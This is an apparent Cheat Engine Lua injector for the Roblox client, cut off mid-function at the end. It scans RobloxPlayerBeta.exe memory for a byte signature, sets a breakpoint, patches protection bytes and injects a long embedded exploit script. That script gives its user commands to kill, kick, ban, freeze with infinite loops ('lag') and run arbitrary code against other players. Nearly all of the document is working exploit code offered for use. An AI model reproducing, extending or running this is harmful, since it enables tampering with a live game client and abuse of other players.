--[[Roblox Level 7]]--
--[[  Injection   ]]--
local Exploits, Successes, AddressList, NoRun, Interface, Name, GlobalOffset = {}, {}, {}, {}, {}, "Exploit", "28";

function GetExploit(index)
	local tab, scan, result = Exploits[index], createMemScan(true);
	memscan_returnOnlyOneResult(scan, true);
	memscan_firstScan(scan, soExactValue, vtByteArray, rtTruncated, table.concat(tab[2], " "), nil, 0, 0x00FFFFFF, "", fsmNotAligned, nil, false, false, false, false);
	memscan_waitTillDone(scan);
	result = memscan_getOnlyResult(scan);
	if result == nil then return nil; end
	result = string.format("%X", result + tab[3]);
	result = string.rep("0", 8 - string.len(result)) .. result;
	return result;
end
function AddExploit(name, hex, offset)
	table.insert(Exploits, {name, hex, offset})
end
function toAddr(num)
	local num = tonumber(num);
	local addr = string.format("%X", num):upper();
	addr = string.rep("0", 8 - string.len(addr)) .. addr;
	return addr;
end


debugger_onBreakpoint = function()
	local function GetAddress(ESPaddr, Offset)
		local ESPaddr, Offset = tostring(ESPaddr) or string.rep("0", 8), tostring(Offset == nil and GlobalOffset or Offset);
		local SCaddr_base = tonumber("0x" .. ESPaddr) + tonumber("0x" .. Offset);
		local SCaddr_cont1, SCaddr_cont2, SCaddr_cont3, SCaddr_cont4 = tostring(string.format("%X", SCaddr_base)), tostring(string.format("%X", SCaddr_base + 1)), tostring(string.format("%X", SCaddr_base + 2)), tostring(string.format("%X", SCaddr_base + 3));
		local SCaddr = (readBytes(SCaddr_cont1) + (readBytes(SCaddr_cont2) * 256) + (readBytes(SCaddr_cont3) * 65536) + (readBytes(SCaddr_cont4) * 16777216));
		return toAddr(SCaddr);
	end
	--if readBytes(GetAddress(toAddr(ESP), GlobalOffset), 1) == 0x0D then
		local JOIN_addr = GetAddress(toAddr(ESP), GlobalOffset);
		local JOIN_len = tonumber("0x"..GetAddress(toAddr(ESP), string.format("%X", tonumber("0x"..GlobalOffset) + 4)));
		local JOIN_script_tbl = readBytes(JOIN_addr, JOIN_len, true);
		local JOIN_script = "";
		table.foreach(JOIN_script_tbl, function(i, v) JOIN_script = JOIN_script .. string.char(v); end);
		local script = JOIN_script .. ( 
[========[
--[[Exploit Making]]--
--[[Frosty]]--

--[[Variables]]--
wait();
local Services = setmetatable({},{__index = function(t,i)
	return game:service(i) or nil
end})
local LocalPlayer = Services.Players.LocalPlayer or Services.Players.Frostftw
local NewName = "Frosty"
local Gui = LocalPlayer:WaitForChild("PlayerGui")
local Banned = {"booing"}
local Friends = {"deadmen255","nairod7"}
local Admins = {}
local Connections = {}
local Data = {
	Level = 7;
	Delay = 0;
	ChatRefreshRate = 0;
	Commands = {};
	GuiColor = "Cyan",
	Before = "";
	Split = "/";
}
local Keys = {
	Explorer = [[;]];
	Exe = [[']];
}

--[[Auto Parent]]--
if Level == 1 or Level == 2 then
	script.Parent = nil
end
--[[Functions]]--

local Command = function(Msg, spkr)
	local Splits = {}
	for i=1,#Msg do
		local C = Msg:sub(i,i)
		if C == Data.Split then
			table.insert(Splits,i)
		end
	end
	for i,Cmd in pairs(Data.Commands) do
		if #Splits > 0 then
			local Com = Msg:sub(1,Splits[1]-1)
			if Com:lower() == (Data.Before..Cmd.Name):lower() then
				local Max = Cmd.Args
				local Add = {}
				for e,c in pairs(Splits) do
					if e > Max then
		       			Splits[e] = nil
					end
				end
				for o,b in pairs(Splits) do
					table.insert(Add,  Msg:sub(Splits[o]+1,Splits[o+1] and Splits[o+1]-1 or #Msg))
				end
				if #Add >= Max then
					Cmd.Func(Add, spkr)
				end
			end
		end
	end
end

local function ChatCon(player)
	Thread(function()
		while player do
			pcall(function()
				Connections["Chat"..player.Name].Con:disconnect()
			end)
			Connections["Chat"..player.Name] = nil
			Connections["Chat"..player.Name] = {Con = player.Chatted:connect(function(Msg)
				Command(Msg, player)
			end)}
			wait(2)
		end
	end)
end

local function OnJoin(Player)
	if Player == LocalPlayer then return end
	local Rbxl = true
	local Bnd = false
	for i,v in pairs(Banned) do
		if v:lower() == Player.Name:lower() then
			Bnd = true
		end
	end
	for i,v in pairs(Admins) do
		if v:lower() == Player.Name:lower() then
			ChatCon(Player)
		end
	end
	pcall(function() Player.TeamColor = Player.TeamColor Rbxl=false end)
	if Rbxl or Bnd then
		pcall(function()
			Services.Debris:AddItem(Player,0)
		end)
	end
end

local function Thread(f)
	return coroutine.resume(coroutine.create(f))
end

local function UD(a,b)
	return UDim2.new(a,0,b,0)
end

local function LoadGuis()
	a,b = ypcall(function()
		for _,G in pairs(Gui:children()) do
			if G.Name == "Exploitation" then
				G:Destroy()
			end
		end
		local Main = Instance.new("ScreenGui",Gui)
		Main.Name = "Exploitation"
		local UseFrame = Instance.new("Frame",Main)
		UseFrame.Name = "UsefulFrame"
		UseFrame.Size = UD(0.3,0.021)
		UseFrame.Position = UD(0.69,0.7)
		UseFrame.Active = true
		UseFrame.Draggable = true
		UseFrame.BackgroundColor = BrickColor.new("Dark stone grey")
		UseFrame.BorderColor = BrickColor.new("Dark stone grey")
		local Title = Instance.new("TextLabel",UseFrame)
		Title.Name = "Help"
		Title.Text = "-[ Drag me ]-"
		Title.BackgroundTransparency = 1
		Title.Size = UD(1,1)
		Title.TextColor = BrickColor.new("White")
		Title.Font = "ArialBold"
		Title.FontSize = "Size12"
		local MainFrame = Instance.new("Frame",UseFrame)
		MainFrame.Name = "Main"
		MainFrame.Size = UD(1,3)
		MainFrame.Position = UD(0,1)
		MainFrame.BackgroundColor = BrickColor.new("Really black")
		MainFrame.BackgroundTransparency = 0.1
		local Leave = Instance.new("TextButton",MainFrame)
		Leave.Name = "ExitGame"
		Leave.Text = "Leave"
		Leave.BackgroundTransparency = 0.5
		Leave.BackgroundColor = BrickColor.new(Data.GuiColor)
		Leave.TextColor = BrickColor.new("White")
		Leave.Size = UD(0.15,1)
		Leave.Position = UD(0.025,0)
		Leave.BorderSizePixel = 0
		Leave.MouseButton1Down:connect(function()
			pcall(function()
				game:Shutdown()
			end)
		end)
		local ExplorerKey = Instance.new("TextButton",MainFrame)
		ExplorerKey.Name = "Explorer"
		ExplorerKey.Text = "Key["..Keys.Explorer.."]"
		ExplorerKey.BackgroundTransparency = 0.5
		ExplorerKey.BackgroundColor = BrickColor.new(Data.GuiColor)
		ExplorerKey.TextColor = BrickColor.new("White")
		ExplorerKey.Size = UD(0.15,1)
		ExplorerKey.Position = UD(0.345,0)
		ExplorerKey.BorderSizePixel = 0
		ExplorerKey.MouseButton1Down:connect(function()
			--TODO
		end)
		local ScriptKey = Instance.new("TextButton",MainFrame)
		ScriptKey.Name = "ScriptExe"
		ScriptKey.Text = "Key["..Keys.Exe.."]"
		ScriptKey.BackgroundTransparency = 0.5
		ScriptKey.BackgroundColor = BrickColor.new(Data.GuiColor)
		ScriptKey.TextColor = BrickColor.new("White")
		ScriptKey.Size = UD(0.15,1)
		ScriptKey.Position = UD(0.505,0)
		ScriptKey.BorderSizePixel = 0
		ScriptKey.MouseButton1Down:connect(function()
			--TODO
		end)
		local ResetKey = Instance.new("TextButton",MainFrame)
		ResetKey.Name = "ResetPlayer"
		ResetKey.Text = "Reset"
		ResetKey.BackgroundTransparency = 0.5
		ResetKey.BackgroundColor = BrickColor.new(Data.GuiColor)
		ResetKey.TextColor = BrickColor.new("White")
		ResetKey.Size = UD(0.15,1)
		ResetKey.Position = UD(0.185,0)
		ResetKey.BorderSizePixel = 0
		ResetKey.MouseButton1Down:connect(function()
			local Char = LocalPlayer.Character
			if Char:findFirstChild("Torso") or Char:findFirstChild("Head") then
				Char:BreakJoints()
			else
				if Data.Level == 1 then
					LocalPlayer:LoadCharacter()
				else
					local Fake = Instance.new("Model",Services.Workspace)
					Fake.Name = LocalPlayer.Name
					local Torso = Instance.new("Part",Fake)
					Torso.Name = "Torso"
					Torso.formFactor = 3
					Torso.Anchored = true
					Torso.Size = Vector3.new(0.02,0.02,0.02)
					Torso.CFrame = CFrame.new(1e4,1e4,1e4)
					Torso:BreakJoints()
					local Human = Instance.new("Humanoid",Fake)
					LocalPlayer.Character = Fake
				end
			end
		end)
		local LightKey = Instance.new("TextButton",MainFrame)
		LightKey.Name = "LightChar"
		LightKey.Text = "Light [Off]"
		LightKey.BackgroundTransparency = 0.5
		LightKey.BackgroundColor = BrickColor.new(Data.GuiColor)
		LightKey.TextColor = BrickColor.new("White")
		LightKey.Size = UD(0.15,1)
		LightKey.Position = UD(0.665,0)
		LightKey.BorderSizePixel = 0
		LightKey.MouseButton1Down:connect(function()
			if LightKey.Text:find("Off") then
				LightKey.Text = "Light [On]"
				if LocalPlayer.Character then
					local L = Instance.new("PointLight",LocalPlayer.Character:findFirstChild("Torso"))
					L.Range = 25
					L.Brightness = 25
					L.Color = BrickColor.new("White").Color
				end
			elseif LightKey.Text:find("On") then
				LightKey.Text = "Light [Off]"
				for i,v in pairs( LocalPlayer.Character:findFirstChild("Torso"):children() ) do
					if v:IsA("PointLight") then
						v:Destroy()
					end
				end
			end
		end)
		local ForceKey = Instance.new("TextButton",MainFrame)
		ForceKey.Name = "ForceField"
		ForceKey.Text = "FF [Off]"
		ForceKey.BackgroundTransparency = 0.5
		ForceKey.BackgroundColor = BrickColor.new(Data.GuiColor)
		ForceKey.TextColor = BrickColor.new("White")
		ForceKey.Size = UD(0.15,1)
		ForceKey.Position = UD(0.825,0)
		ForceKey.BorderSizePixel = 0
		ForceKey.MouseButton1Down:connect(function()
			if ForceKey.Text:find("Off") then
				ForceKey.Text = "FF [On]"
				if LocalPlayer.Character then
					local FF = Instance.new("ForceField",LocalPlayer.Character)
					FF.Name = "FF"
					if Data.Level == 7 or Data.Level == 4 then
						pcall(function()
							FF.RobloxLocked = true
						end)
					end
				end
			elseif ForceKey.Text:find("On") then
				ForceKey.Text = "FF [Off]"
				if LocalPlayer.Character then
					for i,v in pairs( LocalPlayer.Character:children() ) do
						if v:IsA("ForceField") then
							v:Destroy()
						end
					end
				end
			end
		end)
		local CurrentColor = 1
		local CurrentPlayer = LocalPlayer
		local OutChat = Instance.new("Frame",MainFrame)
		OutChat.Name = "OutChatFRame"
		OutChat.Size = UD(1,3)
		OutChat.Position = UD(0,1)
		OutChat.BackgroundTransparency = 0.4
		OutChat.BackgroundColor = BrickColor.new("Black")
		local TextHolder = Instance.new("TextBox",OutChat)
		TextHolder.Name = "DisplayTextHere"
		TextHolder.Text = ""
		TextHolder.Size = UD(0.85,0.9)
		TextHolder.Position = UD(0.14,0.05)
		TextHolder.Font = "ArialBold"
		TextHolder.ClearTextOnFocus = false
		TextHolder.TextWrapped = true
		TextHolder.FontSize = "Size14"
		TextHolder.BackgroundColor = BrickColor.new("Dark stone grey")
		TextHolder.BorderColor = BrickColor.new("Dark stone grey")
		TextHolder.TextXAlignment = "Left"
		TextHolder.TextYAlignment = "Top"
		TextHolder.TextColor = BrickColor.new("White")
		local Clear = Instance.new("TextButton",OutChat)
		Clear.Name = "ClearText"
		Clear.Text = "Clr   ::"
		Clear.Size = UD(0.1,0.25)
		Clear.Position = UD(0.005,0.025)
		Clear.BackgroundColor = BrickColor.new("Dark stone grey")
		Clear.BorderColor = BrickColor.new("Dark stone grey")
		Clear.TextColor = BrickColor.new("White")
		Clear.TextXAlignment = "Left"
		Clear.Font = "ArialBold"
		Clear.FontSize = "Size14"
		local Cmd = Instance.new("TextButton",OutChat)
		Cmd.Name = "ClearText"
		Cmd.Text = "Cmd ::"
		Cmd.Size = UD(0.1,0.25)
		Cmd.Position = UD(0.005,0.735)
		Cmd.BackgroundColor = BrickColor.new("Dark stone grey")
		Cmd.BorderColor = BrickColor.new("Dark stone grey")
		Cmd.TextColor = BrickColor.new("White")
		Cmd.TextXAlignment = "Left"
		Cmd.Font = "ArialBold"
		Cmd.FontSize = "Size14"
		local Enter = Instance.new("TextButton",OutChat)
		Enter.Name = "ClearText"
		Enter.Text = "Entr ::"
		Enter.Size = UD(0.1,0.25)
		Enter.Position = UD(0.005,0.375)
		Enter.BackgroundColor = BrickColor.new("Dark stone grey")
		Enter.BorderColor = BrickColor.new("Dark stone grey")
		Enter.TextColor = BrickColor.new("White")
		Enter.TextXAlignment = "Left"
		Enter.Font = "ArialBold"
		Enter.FontSize = "Size14"
		Clear.MouseButton1Down:connect(function()
			TextHolder.Text = ""
		end)
		local function BubbleChat(a,b,c)
			if a and a.Character then
				Services.Chat:Chat(a.Character:findFirstChild("Head"), b, c)
			end
		end
		local function SortChat(Message)
			local Args = {}
			local Cmds = {}
			for v in Message:gmatch("[^;]+") do
				table.insert(Cmds, v)
			end
			if #Cmds <= 1 then
				for v in Message:gmatch("[^/]+") do
					table.insert(Args, v)
				end
			else
				for i,v in ipairs(Cmds) do
					SortChat(v)
				end
			end
			Args[1] = Args[1] or "_DataError_"
			if Args[1] == "color" or Args[1] == "col" then
				if Args[2] == "red" or Args[2] == "r" then
					CurrentColor = 2
				elseif Args[2] == "blue" or Args[2] == "b" then
					CurrentColor = 0
				elseif Args[2] == "green" or Args[2] == "b" then
					CurrentColor = 1
				end
			elseif Args[1] == "count" then
				if Args[2] == "up" then
					local Num = Args[3]
					for i=1,Num do
						wait(0.2)
						SortChat(i)
					end
				elseif Args[2] == "down" then
					for i=Num,1,-1 do
						wait(0.2)
						SortChat(i)
					end
				end
			elseif Args[1] == "plr" or Args[1] == "player" then
				local P = GetPlayer(Args[2],LocalPlayer)
				for i,v in pairs(p) do
					if v and v.Character then
						CurrentPlayer = v
						TextHolder.Text = ""
					end
				end
			else
				BubbleChat(CurrentPlayer,Message,CurrentColor)
			end
		end
		Enter.MouseButton1Down:connect(function()
			Thread(function()
				SortChat(TextHolder.Text)
			end)
		end)
		Cmd.MouseButton1Down:connect(function()
			Command(TextHolder.Text,LocalPlayer)
		end)
	end)
	if not a then print(b) end
end

local function AllPlayers()
	local Table = {}
	for i,v in pairs(Services.Players:children()) do
		if v.ClassName == ("Player") then
			table.insert(Table, v)
		end
	end
	return Table
end

local function GetPlayer(String, Speaker)
	if String == "me" then
		return {Speaker}
	elseif String == "all" then
		return AllPlayers()
	elseif String == "guests" then
		local T = {}
		for i,v in pairs(AllPlayers()) do
			if v.Name:find("Guest ") then
				table.insert(T, v)
			end
		end
		return T
	elseif String == "random" then
		return {GetPlayer("others",Speaker)[math.random(1,#AllPlayers()-1)]}
	elseif String == "noobs" then
		local T = {}
		for i,v in pairs(AllPlayers()) do
			if v.AccountAge < 356 then
				table.insert(T, v)
			end
		end
		return T
	elseif String == "others" then
		local T = {}
		for i,v in pairs(AllPlayers()) do
			if not v == Speaker then
				table.insert(T, v)
			end
		end
		return T
	elseif String == "you" then
		local Torso = Speaker.Character:findFirstChild("Torso")
		if Torso then
			local Close,Dist = nil,1/0
			for i,v in pairs(AllPlayers()) do
				if v.Character and not v == Speaker then
					local T = v.Character:findFirstChild("Torso")
					if T then
						local Mag = (Torso.CFrame.p - T.CFrame.p).magnitude
						if Dist > Mag then
							Close,Dist = v,Mag
						end
					end
				end
			end
			if Close then
				return {Close}
			end
		end
	else
		for i,v in pairs(AllPlayers()) do
			if v.Name:lower():find(String:lower()) then
				return {v}
			end
		end
	end
	return {}
end

local function LoadOnClients(players, source)
	if not players or #players == 0 then 
		return 
	end
	if Data.Level == 7 or Data.Level == 4 then
		local load = function(Player)
			local Script = Instance.new "LocalScript"
			--
			Script.Source = [[
				while script.Name == "LocalScript" do wait() end
				ypcall(loadstring([==============[]]..source..[[]==============]))
			]]
			--
			Script.Parent = Game.Players.LocalPlayer.Character
				or Game.Players.LocalPlayer:FindFirstChild "Backpack"
				or Game.Players.LocalPlayer.CharacterAdded:wait()
			wait(.5)
			Script.Name = "LocalScript "
			Script.Parent = Player.Character
				or Player:FindFirstChild "Backpack"
				or Player.CharacterAdded:wait()
		end
		for _,player in next, players do
			coroutine.wrap(load)(player)
		end
	end
end

local function GiveTeleport(player)
	if Data.Level == 4 or Data.Level == 7 then
		for i,v in pairs( player.Backpack:children() ) do
			if v.Name == "Teleport" then
				v:Destroy()
			end
		end
		local Tool = Instance.new("HopperBin",player.Backpack)
		Tool.Name = "Teleport"
		local Ls = Instance.new("LocalScript",Tool)
		Ls.Name = "TeleportScript"
		Ls.Source = [[
		local plr = game:service("Players").LocalPlayer
		local char = plr.Character
		local Parent = script.Parent
		if Parent:IsA("HopperBin") then
			Parent.Selected:connect(function(mouse)
				mouse.Button1Down:connect(function()
					if char then
						local Torso = char:findFirstChild("Torso")
						if Torso then
							Torso.CFrame = CFrame.new(mouse.Hit.p*Torso.lookVector+Vector3.new(0,4,0))
						end
					end
				end)
			end)
		end
		]]
		Ls.Disabled = true
		Ls.Disabled = false
	end
end

local function RemoveClass(class,parent)
	local function Recur(o)
		for i,v in pairs(o:children()) do
			Recur(v)
		end
		if o.ClassName == class then
			Services.Debris:AddItem(o,0)
		end
	end
	Recur(parent)
end

local function GetError(not_errored, String)
	local Color = "Really red"
		if not_errored then
			return
		end
	--AddError("Error",String,color)
end

local function ReturnClass(class,parent)
	local Tble = {}
	local function Recur(o)
		for i,v in pairs(o:children()) do
			Recur(v)
		end
		if o.ClassName == class then
			table.insert(Tble, o)
		end
	end
	Recur(parent)
	return Tble
end

local NewCommand = function(name,args,func)
	Data.Commands[name] = {
		Args = args,
		Func = func,
		Name = name,
	}
end

for _,Player in pairs(Services.Players:children()) do
	if Player.ClassName == ("Player") then
		OnJoin(Player)
	end
end

--[[Events]]--

Services.Players.ChildAdded:connect(function(Player)
	if Player.ClassName == ("Player") then
		OnJoin(Player)
	end
end)

Services.Players.ChildRemoved:connect(function(Player)
	if Player.ClassName == ("Player") then
		--TODO
	end
end)

LocalPlayer.CharacterAdded:connect(function()
	if Data.Level == 2 or Data.Level == 1 then
		LoadGuis()
		print("Gui Inserted")
	end
	pcall(function()
		GiveTeleport(LocalPlayer)
	end)
end)

if Data.Level == 4 or Data.Level == 7 then
	LoadGuis()
end

--[[Commands]]--

a,b = ypcall(function()
	NewCommand("kill",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v and v.Character then
				v.Character:BreakJoints()
			end
		end
	end)
	NewCommand("kick",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v then
				Services.Debris:AddItem(v,0)
			end
		end
	end)
	NewCommand("admin",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v then
				table.insert(Admins, v.Name)
				ChatCon(v)
			end
		end
	end)
	NewCommand("unadmin",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			for o,a in pairs(Admins) do
				if a:lower() ==  v.Name:lower() then
					Admins[o] = nil
					pcall(function()
						Connections["Chat"..v.Name].Con:disconnect()
					end)
					Connections["Chat"..v.Name] = nil
				end
			end
		end
	end)
	NewCommand("ban",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v then
				table.insert(Banned, v.Name)
				Services.Debris:AddItem(v,0)
			end
		end
	end)
	NewCommand("unban",1,function(Args,spkr)
		local String = Args[1]
		for i,v in pairs(Banned) do
			if v:lower():find(String:lower()) then
				Banned[i] = nil
			end
		end
	end)
	NewCommand("ff",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v and v.Character then
				RemoveClass("ForceField",v.Character)
				Instance.new("ForceField",v.Character).Name = "FF"
			end
		end
	end)
	NewCommand("load",1,function(Args,spkr)
		a,b = ypcall(function()
			loadstring(Args[1])()
		end)
	end)
	NewCommand("unff",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v and v.Character then
				RemoveClass("ForceField",v.Character)
			end
		end
	end)
	NewCommand("sp",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v and v.Character then
				local Torso = v.Character:findFirstChild("Torso")
				local Head = v.Character:findFirstChild("Head")
				if Torso then
					Instance.new("Sparkles",Torso).Name = "SP"
				elseif Head then
					Instance.new("Sparkles",Head).Name = "SP"
				end
			end
		end
	end)
	NewCommand("unsp",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v and v.Character then
				RemoveClass("Sparkles",v.Character)
			end
		end
	end)
	NewCommand("fr",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v and v.Character then
				local Torso = v.Character:findFirstChild("Torso")
				local Head = v.Character:findFirstChild("Head")
				if Torso then
					Instance.new("Fire",Torso).Name = "SP"
				elseif Head then
					Instance.new("Fire",Head).Name = "SP"
				end
			end
		end
	end)
	NewCommand("unfr",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v and v.Character then
				RemoveClass("Fire",v.Character)
			end
		end
	end)
	NewCommand("lag",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		LoadOnClients(P,[[while true do end]])
	end)
	NewCommand("heal",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v and v.Character then
				for i,v in pairs(ReturnClass("Humanoid",v.Character)) do
					v.Health = v.MaxHealth
				end
			end
		end
	end)
	NewCommand("damage",2,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		local Amm = Args[2] or 0
		for i,v in pairs(P) do
			if v and v.Character then
				for i,v in pairs(ReturnClass("Humanoid",v.Character)) do
					v:TakeDamage(Amm)
				end
			end
		end
	end)
	NewCommand("hp",2,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		local Amm = Args[2] or 0
		for i,v in pairs(P) do
			if v and v.Character then
				Thread(function()
					for i,v in pairs(ReturnClass("Humanoid",v.Character)) do
						v.MaxHealth = Amm
						wait()
						v.Health = v.MaxHealth
					end
				end)
			end
		end
	end)
	NewCommand("ws",2,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		local Amm = Args[2] or 16
		for i,v in pairs(P) do
			if v and v.Character then
				Thread(function()
					for i,v in pairs(ReturnClass("Humanoid",v.Character)) do
						v.WalkSpeed = Amm
					end
				end)
			end
		end
	end)
	NewCommand("jump",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v and v.Character then
				for i,v in pairs(ReturnClass("Humanoid",v.Character)) do
					v.Jump = true
				end
			end
		end
	end)
	NewCommand("sit",1,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		for i,v in pairs(P) do
			if v and v.Character then
				for i,v in pairs(ReturnClass("Humanoid",v.Character)) do
					v.Sit = true
				end
			end
		end
	end)
	NewCommand("tool",2,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		local Item = Args[2]
		local All = {}
		for i,v in pairs(ReturnClass("Tool",Services.Lighting)) do
			table.insert(All, v)
		end
		for i,v in pairs(ReturnClass("HopperBin",Services.Lighting)) do
			table.insert(All, v)
		end
		if Item == "all" then
			for i,v in pairs(P) do
				if v and v.Character then
					for i,t in pairs(All) do
						t:Clone().Parent = v:WaitForChild("Backpack")
					end
				end
			end
		else
			for i,v in pairs(P) do
				if v and v.Character then
					for i,t in pairs(All) do
						if t.Name:lower():find(Item:lower()) then
							t:Clone().Parent = v:WaitForChild("Backpack")
						end
					end
				end
			end
		end
	end)
	NewCommand("tp",2,function(Args,spkr)
		local P = GetPlayer(Args[1], spkr)
		local P2 = GetPlayers(Args[2], spkr)
		for i,v in pairs(P) do
			for o,b in pairs(P2) do
				if v and b and v.Character and b.Character then
					local TorsoA = v.Character:findFirstChild("Torso")
					local TorsoB = v.Character:findFirstChild("Torso")
					if TorsoA and TorsoB then
						TorsoA.CFrame = TorsoB.CFrame + Vector3.new(0,3,0)
					end
				end
			end
		end
	end)
	NewCommand("m",1,function(Args,spkr)
		local String = tostring( Args[1] )
		for i,v in pairs(AllPlayers()) do
			for e,M in pairs(v.PlayerGui:children()) do
				if M.Name == "Message" then
					Services.Debris:AddItem(M,0)
				end
			end
			Thread(function()
				local Main = Instance.new("ScreenGui",v:WaitForChild("PlayerGui"))
				Main.Name = "Message"
				local Frame = Instance.new("Frame",Main)
				Frame.Size = UD(1,1)
				Frame.Position = UD(0,0)
				Frame.BackgroundTransparency = 0.5
				Frame.BorderSizePixel = 0
				Frame.BackgroundColor = BrickColor.new("Really black")
				local Text = Instance.new("TextLabel",Frame)
				Text.Text = ""
				Text.TextWrapped = true
				Text.Size = UD(1,1)
				Text.TextXAlignment = "Center"
				Text.BackgroundTransparency = 1
				Text.TextColor = BrickColor.new("White")
				Text.Font = "ArialBold"
				Text.FontSize = "Size24"
				for i=1,#String do
					wait(0.02)
					Text.Text = String:sub(1,i)
				end
				Services.Debris:AddItem(Main,3)
			end)
		end
	end)
	NewCommand("h",1,function(Args,spkr)
		local String = tostring( Args[1] )
		for i,v in pairs(AllPlayers()) do
			for e,M in pairs(v.PlayerGui:children()) do
				if M.Name == "Hint" then
					Services.Debris:AddItem(M,0)
				end
			end
			Thread(function()
				local Main = Instance.new("ScreenGui",v:WaitForChild("PlayerGui"))
				Main.Name = "Hint"
				local Frame = Instance.new("Frame",Main)
				Frame.Size = UD(1,0.05)
				Frame.Position = UD(0,0)
				Frame.BackgroundTransparency = 0.2
				Frame.BorderSizePixel = 0
				Frame.BackgroundColor = BrickColor.new("Really black")
				local Text = Instance.new("TextLabel",Frame)
				Text.Text = ""
				Text.Size = UD(1,1)
				Text.TextXAlignment = "Center"
				Text.BackgroundTransparency = 1
				Text.TextColor = BrickColor.new("White")
				Text.Font = "ArialBold"
				Text.FontSize = "Size24"
				for i=1,#String do
					wait(0.05)
					Text.Text = String:sub(1,i)
				end
				Services.Debris:AddItem(Main,3)
			end)
		end
	end)
end)
if not a then print(b) end

--[[Gui Service]]--

if Data.Level == 4 or Data.Level == 7 then
	local GS = Services.GuiService
	GS:AddKey(Keys.Explorer)
	GS:AddKey(Keys.Exe)
	GS.KeyPressed:connect(function(Key)
		if Key == Keys.Explorer then
			--Script
		elseif Key == Keys.Exe then
			--Explorer
		end
	end)
end

--[[Continous Stuff]]--

Services.RunService.Stepped:connect(function()
	if Data.Level >= 7 then
		pcall(function()
			LocalPlayer.Character.Name = NewName
			LocalPlayer.Name = NewName
		end)
	end
	for _,P in pairs(AllPlayers()) do
		for _,F in pairs(Friends) do
			if P.Name:lower() == F:lower() then
				return
			end
		end
		if Level == 7 or Level == 4 then
			if P.RobloxLocked == true then
				Services.Debris:Additem(P,0)
			end
		else
			local Rbxl = true
			pcall(function() P.TeamColor = P.TeamColor  Rbxl = false end)
			if Rbxl then
				Services.Debris:AddItem(P, 0)
			end
		end
	end
end)

Thread(function()
	local Old
	while true do
		Old = tick()
		pcall(function()
			Connections["Chat"..LocalPlayer.Name].Con:disconnect()
		end)
		Connections["Chat"..LocalPlayer.Name] = nil
		Connections["Chat"..LocalPlayer.Name] = {Con = LocalPlayer.Chatted:connect(function(Msg)
			Command(Msg, LocalPlayer);
		end)}
		Data.ChatRefreshRate = tick()-Old
		wait(2);
	end
end)

--[[END END END END END END END END]]--
]========])
		local memory = allocateSharedMemory("[ROBLOX]-ScriptTrainer", string.len(script) + 5);
		local mem = toAddr(memory);
		local len = toAddr(string.len(script));
		local success_catch = writeString(mem, script);
		writeBytes(ESP + tonumber("0x" .. GlobalOffset), tonumber("0x" .. mem:sub(7, 8)), tonumber("0x" .. mem:sub(5, 6)), tonumber("0x" .. mem:sub(3, 4)),tonumber("0x" .. mem:sub(1, 2)));
		writeBytes(ESP + tonumber("0x" .. GlobalOffset) + 4, tonumber("0x" .. len:sub(7, 8)), tonumber("0x" .. len:sub(5, 6)), tonumber("0x" .. len:sub(3, 4)),tonumber("0x" .. len:sub(1, 2)));
		pcall(function() debug_removeBreakpoint(EIP); end);
		debug_continueFromBreakpoint(co_run);
		messageDialog(" ["..Name.."]: studio.ashx found and " .. (success_catch and "injected successfully!" or "failed to inject!"), (success_catch and 2 or 1), 2);
	--else
		--debug_continueFromBreakpoint(co_run)
	--end
end

function Exec()
	local unprotect_mem = {00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 01, 00, 01, 01, 01, 01, 01, 00, 01, 00, 01, 00, 00, 00, 01, 01, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00}
	writeBytes("00F24118", unprotect_mem);
	pcall(function() object_destroy(Interface.MainFrame); end);
	Exploits, Successes, AddressList, Interface = {}, {}, {}, {};
	--AddExploit("level", {0x89, 0x74, 0x24, 0x0C, 0x89, 0x06, 0xE8}, 4)
	AddExploit("script", {0x83, 0xEC, 0x14, 0x56, 0x57, 0x8B, 0x7C, 0x24, 0x2C, 0x85, 0xFF}, 3)
	for i, v in pairs(Exploits) do
		local exploit = GetExploit(i);
		if (exploit == nil) then
			print("["..Name.."]: Failed \"" .. v[1] .. "\"");
		else
			pcall(function() debug_removeBreakpoint(exploit); end);
			debug_setBreakpoint(exploit);
			AddressList[v[1]] = exploit;
			table.insert(Successes, v[1]);
			print("["..Name.."]: Success \"" .. v[1] .. "\" [" .. exploit .. "]");
		end
	end
	print("["..Name.."]: " .. tostring(#Successes) .. "/" .. tostring(#Exploits) .. " exploits found.")
	if #Successes == #Exploits then
		print("["..Name.."]: Attached successfully. Listening for studio.ashx now...");
	else
		messageDialog("["..Name.."]: Initializing failed. "..Name.." failed to launch", 1, 2);
	end
end

function myCheck(_)
	local id = getProcessIDFromProcessName("RobloxPlayerBeta.exe");
	if id ~= nil then
